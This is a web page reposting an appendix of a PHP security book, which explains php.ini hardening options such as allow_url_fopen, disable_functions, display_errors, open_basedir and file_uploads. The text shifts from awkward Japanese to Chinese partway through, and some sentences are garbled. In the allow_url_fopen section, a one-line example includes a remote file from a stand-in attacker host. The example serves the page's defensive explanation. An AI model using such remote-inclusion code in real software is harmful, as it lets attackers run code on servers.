本書はアプリケーションのセキュリティに焦点を当てていますが、セキュリティを懸念する開発者がよく知っておく必要がある構成オプションがいくつかあります。 PHP の構成は、作成するコードの動作や使用するテクニックに影響を与えるため、必要に応じてアプリケーションの外部のことについて多少の責任を負う必要があります。
PHPの設定は主にphp.iniというファイルで指定します。このファイルには多くの設定オプションが含まれており、それぞれが PHP に非常に具体的な影響を与えます。ファイルが存在しない場合、またはファイル内のオプションが存在しない場合は、デフォルト値が使用されます。
php.ini ファイルの場所がわからない場合は、phpinfo( ) PHP でのファイル パスの定義を確認するには:
<?php phpinfo(); ?>
図 A-1 表示されている 6 行目 (構成ファイル (php.ini) パス) は、php.ini へのフルパスを示しています。 (ファイル名なしで) パスのみが表示されている場合は、PHP が表示されたパスで php.ini ファイルを見つけることができないことを意味します。
このファイルには独自の手順が詳しく記載されているため、ファイルを読んで、自分に合った構成オプションを選択できます。マニュアルはさらに詳細なので、特定のオプションに関する詳細情報が必要な場合は、http://www.php.cn/
図 A-1 にアクセスすることをお勧めします。利用可能な php.ini ファイルの配置 fopen オプションを使用すると、ローカル ファイルを扱うことができます リモート リソースの引用:
<?php $contents = file_get_contents('http://example.org/xss.html'); ?>
include または require と組み合わせると、これの危険性が明らかになります第 5 章:
<?php
include 'http://evil.example.org/evil.inc';
?>
A.2. 機能を無効にする
disable_functions オプションは、潜在的に危険な機能を確実に使用できないようにするのに非常に役立ちます。これらの機能の使用を禁止する仕様を確立することはできますが、開発者に仕様に従うように依存するよりも、PHP 構成で制限を課す方がはるかに確実です。
付録 B に記載されている機能を確認して、一部の機能に制限があるかどうかを確認します。
A.3. 表示エラー
PHP のエラー レポートは、作成したコード内のエラーを見つけるのに役立ちます。アプリケーションを開発する場合、エラー メッセージを表示することは、フィードバックを即座に得て開発をスピードアップする効果的な方法です。
実稼働グレードのアプリケーションでは、この動作はセキュリティ リスクになります。エラー メッセージが表示されると、アプリに関する重要な情報を誰もが知ることができます。
製品の display_errors オプションをオフにする必要があります。
A.4.enable_dl
enable_dl オプションは、実行時に PHP 拡張機能をロードできるようにする dl() 関数を有効にするかどうかを制御するために使用されます。
dl() 関数を使用すると、攻撃者が open_basedir 制限をバイパスできる可能性があるため、必要な場合を除き、アプリケーションでこの関数を無効にする必要があります。
A.5. エラー報告
多くのセキュリティ脆弱性は、初期化されていない変数やその他の無計画なプログラミング手法の使用によって引き起こされます。 PHP の error_reporting オプションを E_ALL または E_ALL に設定する。 E_STRICT、PHP は上記の動作を要求します。これらの設定は、通知レベルのエラーを報告するためのものです。
我建议把error_reporting至少设定为E_ALL。(译注:在开发中)
A.6. file_uploads
file_uploads选项决定了是否允许上传文件。因此,如果你的应用不需要用户上传文件,那么关闭该选项就是最好的选择。
只是简单地在PHP代码中不对上传文件进行处理是不够的,因为在执行你的代码前,PHP就做了一些工作(如根据相关部据生成$_FILES数组)。
A.7. log_errors
当log_errors设为有效时,PHP会向error_log配置选项指定的文件中写入所有出错信息。
当display_errors设为无效时,将log_errors设为有效是很重要的;否则你将无法看到睛出错信息。
我建议将log_errors设为有效并在error_log设定日志文件所在位置。
A.8. magic_quotes_gpc
magic_quotes_gpc是一个常用的选项,它目的是防止SQL注入。但出于很多原因,包括它转义输入的方式,证明了它是不完善的。
它对$_GET, $_POST, 以及 $_COOKIE中的数据使用同样的规则即addslashes( )函数进行处理。从而,它并没有根据你的数据库选用对应的转义函数进行处理。
基于两个主要的原因,你需要把get_magic_quotes_gpc设为无效:
首先,它会加大你的输入过滤逻辑的复杂性,这是由于它在执行你的代码前首先对数据进行了编辑。例如,你需要对输入的姓名进行过滤,其逻辑是只允许字母、空格、连词符以及单引号,当magic_quotes_gpc生效时,你必须适应形如O\'Reilly的姓名或者使用stripslashes( )尝试将它恢复原形。这一不必要的复杂性(或者说不严谨的过滤规则)加大了发生错误的可能性,同时,你的输入过滤机制中的缺陷必然会导致安全漏洞。
其次,它并没有根据你的数据库选用对应的转义函数进行处理。这样,由于它可以抵挡一些低层次或偶发的攻击,掩盖了它是一个糟糕的过滤或转义机制这个事实,从而留下了一个安全漏洞,使你的应用无法抵挡如针对字符集的攻击等更复杂的攻击手段。
A.9. memory_limit
为防止写得糟糕的脚本占用所有的可用内存,可以使用memory_limit选项对最大内存使用量进行限制(以字节方式或缩写方式如8M指定)。
尽管最佳的取值是与运行的应用是相关的,我还是建议在大多情况下使用默认值8M。
memory_limit选项只有在PHP指定了enable-memory-limit方式编译时才会生效。
A.10. open_basedir
open_basedir选项会限制PHP只能在它指定的目录中打开文件。尽管它不能取代正确的输入过滤,但该选项能减少利用文件系统相关函数如include及require进行的攻击。
该选项的值会被当做前缀使用,因此当你想表示指定目录时请小心不要漏了最后的斜杠:
open_basedir = /path/to/
小提示
请确认enable_dl选项是关闭的,否则open_basedir的限制可能会被绕过。
A.11. register_globals
见第二章
A.12. safe_mode
见第八章
以上就是PHP安全-配置选项的内容,更多相关内容请关注PHP中文网(www.php.cn)!